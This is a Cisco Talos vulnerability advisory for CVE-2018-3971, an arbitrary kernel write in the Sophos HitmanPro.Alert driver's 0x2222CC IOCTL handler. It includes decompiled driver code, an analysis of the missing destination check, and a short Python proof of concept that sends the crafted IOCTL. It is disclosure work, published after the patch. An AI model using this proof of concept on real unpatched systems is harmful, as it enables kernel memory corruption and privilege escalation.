Talos Vulnerability Report

TALOS-2018-0636

Sophos HitmanPro.Alert hmpalert 0x2222CC privilege escalation vulnerability

October 25, 2018
CVE Number

CVE-2018-3971

Summary

An exploitable arbitrary write vulnerability exists in the 0x2222CC IOCTL handler functionality of Sophos HitmanPro.Alert 3.7.6.744. A specially crafted IRP request can cause the driver to write data under controlled by an attacker address, resulting in memory corruption. An attacker can send IRP request to trigger this vulnerability.

Tested Versions

Sophos HitmanPro.Alert - hmpalert.sys 3.7.6.744 - Windows 7 x86

Product URLs

https://www.hitmanpro.com/en-us/alert.aspx

CVSSv3 Score

9.3 - CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-123: Write-what-where Condition

Details

This vulnerability can be triggered by sending IOCTL requests to the hmpalert device. Here we show the default access control on the device allows any user on the system to send IOCTL requests:

accesschk.exe -q -o \Device\hmpalert
\Device\hmpalert
  Type: Device
  RW Everyone
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators
  R  NT AUTHORITY\RESTRICTED

An arbitrary write vulnerability exists in the IOCTL handler for control code 0x2222CC. The vulnerable code looks like this:

Line 1  NTSTATUS __stdcall sub_975C1C00(PDEVICE_OBJECT deviceObject, PIRP Irp)
Line 2  {
Line 3  (...)
Line 4  __controlCode -= 0x222244;
Line 5  switch ( __controlCode )
Line 6  {
Line 7    case 0x88u:
Line 8      _SystemBuffer = (struct_v58 *)Irp->AssociatedIrp.SystemBuffer;
Line 9      a4 = 0;
Line 10     v72 = sub_975CC520(_SystemBuffer->srcAddress, _SystemBuffer->dstAddress, _SystemBuffer->srcSize, (int)&a4);
Line 11     if ( v72 < 0 )
Line 12     {
Line 13       Irp->IoStatus.Information = 0;
Line 14     }
Line 15     else
Line 16     {
Line 17       v25 = &Irp->AssociatedIrp.MasterIrp->Type;
Line 18       *v25 = a4;
Line 19       Irp->IoStatus.Information = 4;
Line 20     }
Line 21     break;

Three parameters coming from user mode are passed to the sub_975CC520 function as an arguments. Let us take a closer look at sub_975CC520 function.

Line 1  int __stdcall sub_975CC520(PVOID srcAddress, PVOID dstAddresss, int srcSize, int a4)
Line 2  {
Line 3    char v5; // [esp+0h] [ebp-28h]
Line 4    PVOID Object; // [esp+18h] [ebp-10h]
Line 5    void *tempBuffer; // [esp+1Ch] [ebp-Ch]
Line 6    int v8; // [esp+20h] [ebp-8h]
Line 7    SIZE_T _srcBufferLen; // [esp+24h] [ebp-4h]
Line 8 
Line 9    if ( !protectedPID )
Line 10     return 0xC0000001;
Line 11   _srcBufferLen = srcSize;
Line 12   if ( !sub_975CC420((PBYTE)srcAddress, (int *)&_srcBufferLen) )
Line 13     return 0xC0000022;
Line 14   tempBuffer = ExAllocatePoolWithTag(0, _srcBufferLen, 'APMH');
Line 15   if ( !tempBuffer )
Line 16     return 0xC000009A;
Line 17   Object = 0;
Line 18   v8 = PsLookupProcessByProcessId(protectedPID, &Object);
Line 19   if ( v8 >= 0 )
Line 20   {
Line 21     KeStackAttachProcess(Object, &v5);
Line 22     if ( MmIsAddressValid(srcAddress) )
Line 23       memcpy(tempBuffer, srcAddress, _srcBufferLen);
Line 24     else
Line 25       v8 = 0xC0000141;
Line 26     KeUnstackDetachProcess(&v5);
Line 27     ObfDereferenceObject(Object);
Line 28   }
Line 29   if ( v8 >= 0 )
Line 30   {
Line 31     if ( MmIsAddressValid(dstAddresss) )
Line 32     {
Line 33       memcpy(dstAddresss, tempBuffer, _srcBufferLen);
Line 34       *(_DWORD *)a4 = _srcBufferLen;
Line 35     }
Line 36     else
Line 37     {
Line 38       v8 = 0xC0000141;
Line 39     }
Line 40   }
Line 41   ExFreePoolWithTag(tempBuffer, 0x41504D48u);
Line 42   return v8;
Line 43 }

As we can see at line 12 some sort of checks are made related with srcAddress. Indeed, srcAddress is checked in context of whether it belongs to the one of "protected"/"monitored" lsass.exe address space regions.

Attacker can try to leak lsass process memory regions addresses using different vulnerability or just brute force them. Next, the read data is copied to tempBuffer at line 23.

Further at line 33, data from tempBuffer is copied into the address pointed to by the dstAddress argument which is fully controlled by the attacker. There are no size checks to ensure that the destination address has enough space for the copy operation.

This vulnerability leads to memory corruption and can be used by an attacker to gain arbitrary code execution and privilege escalation.

Exploit Proof of Concept

def leak_memory():
 fileName = u'\\\\.\\hmpalert'
 hFile = win32file.CreateFileW(fileName,
                              win32con.GENERIC_READ |win32con.GENERIC_WRITE,
                              0,
                              None,
                              win32con.OPEN_EXISTING, 0 , None, 0)

 ioctl = 0x222244 + 0x88
 inputBuffer =  struct.pack("<I",0x7FFD8000) #srcAddress
 inputBuffer += struct.pack("<I",0x80400000) #dstAddress     
 inputBuffer += struct.pack("<I",0x24)       #srcSize
 inputBufferLen = len(inputBuffer)
 outBufferLen   = 16
 print "Time to send IOCTL : 0x%x" % ioctl
 buf = win32file.DeviceIoControl(hFile, ioctl,inputBuffer,outBufferLen)

if __name__  == "__main__":
    leak_memory()

Timeline

2018-07-23 - Vendor Disclosure
2018-09-17 - Vendor Patched
2018-10-25 - Public Release

Credit

Marcin 'Icewall' Noga of Cisco Talos.